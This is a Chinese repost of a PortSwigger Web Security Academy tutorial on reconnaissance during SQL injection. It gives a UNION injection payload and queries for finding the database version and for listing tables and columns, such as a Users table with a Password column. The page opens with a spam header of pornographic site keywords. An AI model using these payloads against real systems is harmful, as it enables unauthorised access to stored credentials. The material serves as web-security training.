日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

mysql in sql注入_在 SQL 注入攻击中检查数据库

發布時間:2025/4/5 数据库 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 mysql in sql注入_在 SQL 注入攻击中检查数据库 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

原文來自:PORTSWIGGER WEB SECURITY >> Web Security Academy >>Examining the database >>Examining the database in SQL injection attacks

...

當利用 SQL 注入利用時,收集數據庫本身的信息通常是必要的。這包括數據庫軟件的類型和版本,還包括數據庫中包含的表和列等內容。

查詢數據庫類型和版本

不同的數據庫提供不同的版本查詢方式。我們通常需要在多種查詢方式中嘗試,找出可以讓我們確定數據庫軟件類型和版本的那一種方法。

主流數據庫提供如下方式來確定數據庫版本:

Database type | Query

----------------------------------------

Microsoft, MySQL | SELECT @@version

Oracle | SELECT * FROM v$version

PostgreSQL | SELECT version()

例如,可以在 UNION 注入攻擊中利用如下 payload:

' UNION SELECT @@version--

我們可能得到如下結果,從而確定數據庫類型為 Microsoft SQL Server ,版本信息為:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)

Mar 18 2018 09:11:49

Copyright (c) Microsoft Corporation

Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 (Build 14393: ) (Hypervisor)Lab: SQL injection attack, querying the database type and version on Oracle?portswigger.netLab: SQL injection attack, querying the database type and version on MySQL and Microsoft?portswigger.net

列出數據庫的內容

大多數數據類型,都有一組被稱作 information schema 的視圖,這些視圖提供有關數據庫的信息。

我們可以通過查詢 information_schema.tables 列出數據庫的表:

SELECT * FROM information_schema.tables

返回如下:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE

=====================================================

MyDatabase dbo Products BASE TABLE

MyDatabase dbo Users BASE TABLE

MyDatabase dbo Feedback BASE TABLE

這些返回結果表明,庫中有三個表,分別是 Products, Users, Feedback。

我們可以通過查詢 information_schema.columns 列出特定表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

返回如下:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE

=================================================================

MyDatabase dbo Users UserId int

MyDatabase dbo Users Username varchar

MyDatabase dbo Users Password varchar

此輸出顯示了指定表中的列以及每列的數據類型。Lab: SQL injection attack, listing the database contents on non-Oracle databases?portswigger.net

等效于 Oracle 中的 information schema

在 Oracle 中,我們可以通過稍有差異的查詢語句獲取同樣的信息。

我們可以通過查詢 all_tables 列出表:

SELECT * FROM all_tables

可以通過查詢 all_tab_columns 列出列:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'Lab: SQL injection attack, listing the database contents on Oracle?portswigger.net

總結

以上是生活随笔為你收集整理的mysql in sql注入_在 SQL 注入攻击中检查数据库的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。